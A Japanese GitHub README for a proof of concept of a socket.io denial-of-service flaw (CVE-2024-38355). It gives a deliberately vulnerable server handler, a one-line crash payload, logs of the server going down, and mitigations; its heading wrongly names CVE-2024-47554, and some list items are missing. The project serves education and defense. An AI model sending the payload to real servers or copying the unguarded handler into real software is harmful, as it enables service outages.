pawelmurdzek/cve-2024-38355-pocCVE-2024-47554の概念実証
このプロジェクトは、socket.io のサービス拒否（DoS）脆弱性である CVE-2024-38355 を実証する Proof of Concept です。攻撃メカニズムとアプリケーションの保護方法を示す教育目的で作成されました。
この脆弱性は以下の socket.io バージョンに影響します：
特別に細工された Socket.IO パケットにより、サーバー上でキャッチされない例外が発生し、Node.js プロセスがクラッシュします。これにより、サービス拒否（DoS） 攻撃が引き起こされます。
仕組み：
重要な要因：
error イベントリスナーがないことこのプロジェクトは2つのDockerコンテナで構成されています：
[email protected] を使用する Node.js サーバー。悪意のあるデータを受信するとキャッチされない例外をスローするイベントハンドラがあります。または：
プロジェクトのルートディレクトリでターミナルを開き、以下を実行します：
docker-compose down
docker-compose build --no-cache
docker-compose up
これにより：
端末1 - サーバーを起動：
cd server
npm install
npm start
端末2 - エクスプロイトを実行：
cd exploit
npm install
npm start
サーバーログ：
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
throw new Error('Uncaught exception triggered by malicious packet');
エクスプロイトログ：
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...
[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}
[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).
[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error
Ctrl+C を押すか、以下を実行します：
docker-compose down
server/index.js)socket.on('process_data', (data) => {
// VULNERABLE: No try-catch, no error handler on socket
if (data && data.trigger === 'crash') {
throw new Error('Uncaught exception'); // Crashes the process!
}
});
exploit/exploit.js)// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });
アプリケーションをこの脆弱性から保護するには：
socket.io をバージョン 4.6.2 以上に更新します（修正によりデフォルトの noop エラーハンドラが追加されました）。
ソケットに常にエラーハンドラをアタッチします：
socket.on('error', (err) => {
console.error('Socket error:', err);
// Handle gracefully, don't let it crash the server
});
イベントハンドラを try-catch でラップします：
socket.on('process_data', (data) => {
try {
// Process data safely
} catch (err) {
console.error('Error processing data:', err);
socket.emit('error_response', { message: 'Invalid data' });
}
});
グローバルな未キャッチ例外ハンドラを追加します（最終手段として）：
process.on('uncaughtException', (err) => {
console.error('Uncaught Exception:', err);
// Log and gracefully shutdown
});
教育目的で作成されたプロジェクトです。